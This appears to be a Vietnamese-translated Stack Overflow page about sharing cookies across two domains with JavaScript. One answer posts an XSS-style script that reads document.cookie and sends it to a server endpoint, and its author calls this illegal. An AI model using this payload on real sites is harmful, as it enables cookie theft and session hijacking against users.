Tôi muốn có thể truy cập và đặt cookie giữa example.com và mysite.com. Làm thế nào để làm điều đó?Tôi làm cách nào để chia sẻ cookie trên 2 tên miền bằng javascript?
5
A
Trả lời
2
Bạn không thể làm điều đó với cookie một mình: chúng được đặt rõ ràng cho mỗi tên miền và không có cách hợp pháp (đọc: "không khai thác") để đặt chúng cho tên miền khác.
Tuy nhiên, nếu bạn kiểm soát cả hai máy chủ, có thể sử dụng một số cách giải quyết/hack để đạt được điều này, nhưng nó không phải là, và nó có thể vỡ bất ngờ (xem this question; câu trả lời sẽ giúp bạn dung dịch).
0
<script>
function xss(){
var cookies = document.cookie;
new Ajax.Request('//localhost/index.php?cookies='+cookies, {
onSuccess: function(response) {
alert(cookies);
}
});
}
xss();
</script>
PS nhưng điều đó là bất hợp pháp. Tôi sử dụng mẫu thử nghiệm lib.
+1
Vui lòng mở rộng trên 'đó là bất hợp pháp' và lý do bạn sử dụng mẫu thử nghiệm lib để cải thiện câu trả lời của mình . –
Các vấn đề liên quan
- 1. Chia sẻ cookie giữa tên miền phụ và miền
- 2. Phiên chia sẻ trên miền
- 3. Tôi làm cách nào để sử dụng cookie trên hai tên miền khác nhau?
- 4. Tôi làm cách nào để chia sẻ phiên trên nhiều tên miền phụ trong ASP.NET?
- 5. Có thể chia sẻ cookie giữa tên miền và tên miền phụ
- 6. IE10 chia sẻ cookie trên các tên miền phụ theo mặc định
- 7. Cách nhận các ứng dụng Django riêng biệt trên cùng một tên miền phụ để chia sẻ cookie phiên?
- 8. Chia sẻ một cookie duy nhất thông qua các tên miền phụ
- 9. Phiên chia sẻ PHP trên miền
- 10. đặt cookie tên miền chéo với javascript
- 11. Cách lấy giá trị tên miền cho cookie trong Javascript?
- 12. Có thể chia sẻ cookie giữa các tên miền phụ 'một số'?
- 13. Cookie tên miền chéo
- 14. Chia sẻ phiên trên nhiều tên miền trên cùng một máy chủ
- 15. Làm thế nào để thiết lập một cookie cho iframe trên cùng một tên miền
- 16. Chia sẻ phiên giữa hai miền
- 17. Python cách lấy tên miền của cookie
- 18. Chia trang PHP trên 2 tên miền - gửi các biến đến tên miền thứ 2 và quay lại một lần nữa
- 19. Cách đặt cookie trên một miền riêng trong Rails
- 20. Cookie PHP cho nhiều tên miền
- 21. Làm cách nào để tạo một repo git trên máy chủ chia sẻ của tôi?
- 22. Thay đổi Tên miền Cookie
- 23. Tôi làm cách nào để liệt kê tất cả cookie cho trang hiện tại bằng Javascript?
- 24. Đặt cookie phiên cho tên miền phụ cụ thể
- 25. Tại sao một số cookie có '.' trước tên miền?
- 26. Cookie không có tên miền?
- 27. Bắt đặt cookie trên các tên miền khác nhau, với javascript hoặc khác
- 28. Tôi làm cách nào để ẩn Khóa API Google Maps khi chia sẻ mã trên github?
- 29. Tôi làm cách nào để chia sẻ Phiên kiểm tra đơn vị ReSharper trên một nhóm?
- 30. Xác định tên miền bằng JavaScript?
Bạn không thể thực hiện việc đó trực tiếp. Bạn đang cố gắng để thực hiện? Cũng tìm kiếm ở đây và Internet cho "cookie miền chéo" để giải quyết. – Matthew
có thể trùng lặp: http://stackoverflow.com/questions/263010/whats-your-favorite-cross-domain-cookie-sharing-approach –